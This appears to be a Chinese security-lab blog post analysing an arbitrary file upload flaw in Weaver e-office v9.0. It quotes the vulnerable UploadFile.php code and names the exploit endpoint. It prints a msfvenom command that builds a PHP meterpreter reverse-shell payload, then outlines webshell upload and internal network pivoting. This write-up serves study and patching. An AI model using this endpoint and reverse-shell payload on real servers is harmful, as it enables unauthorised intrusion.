网安引领时代,弥天点亮未来
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
泛微e-office系统是标准、易用、快速部署上线的专业协同OA软件,国内协同OA办公领域领导品牌,致力于为企业用户提供专业OA办公系统、移动OA应用等协同OA整体解决方案。泛微e-office是泛微旗下的一款标准协同移动办公平台。由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包,最终实现任意代码执行。
泛微 e-office v9.0
问题代码在/general/index/UploadFile.php文件中,具体位置是
if ($uploadType == "eoffice_logo") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
//将上传的文件尾缀传给变量$ext
$_targetFile = "logo-eoffice" . $ext;
//将上传的文件名改为logo-eoffice.$ext
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
//将['DOCUMENT_ROOT']/images/logo/logo-eoffice.$ext 中的‘//’替换为'/'
if (move_uploaded_file($tempFile, $targetFile)) {
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
$param1 = $param2 = false;
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
$param1 = exequery($connection, $query);
} else {
$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
$param1 = exequery($connection, $query);
}
//这段代码就是判断文件是否上传成功,如果成功了就更新数据库中的内容
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
$param2 = exequery($connection, $query);
} else {
$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
$param2 = exequery($connection, $query);
}
if ($param1 && $param2) {
echo $_targetFile;
//上传成功后就输出文件名
} else {
echo 0;
}
} else {
echo 0;
}
}
存在漏洞的源代码位置,主要是源于 uploadType 参数设为 eoffice_logo 时,对文件没有校验,导致任意文件上传。
漏洞地址
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
漏洞解析地址
/images/logo/logo-eoffice.php
搭建漏洞环境
http://192.168.86.7:8082/login.php
默认用户admin 密码为空
漏洞利用msfvenom工具生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12399 R > yunzui.php
上传生成的webshell到目标服务器
测试发现该环境可以解析(php、php3、php4)
测试函数:<?php phpinfo();?>
反弹shell上传
设置监听
解析文件获取反向shell
内网渗透
厂商已提供漏洞修补方案,建议用户下载使用:
http://v10.e-office.cn/eoffice9update/safepack.zip
知识分享完了
喜欢别忘了关注我们哦~
弥 天
安全实验室
原文始发于微信公众号(弥天安全实验室):从泛微e-office漏洞分析到内网渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论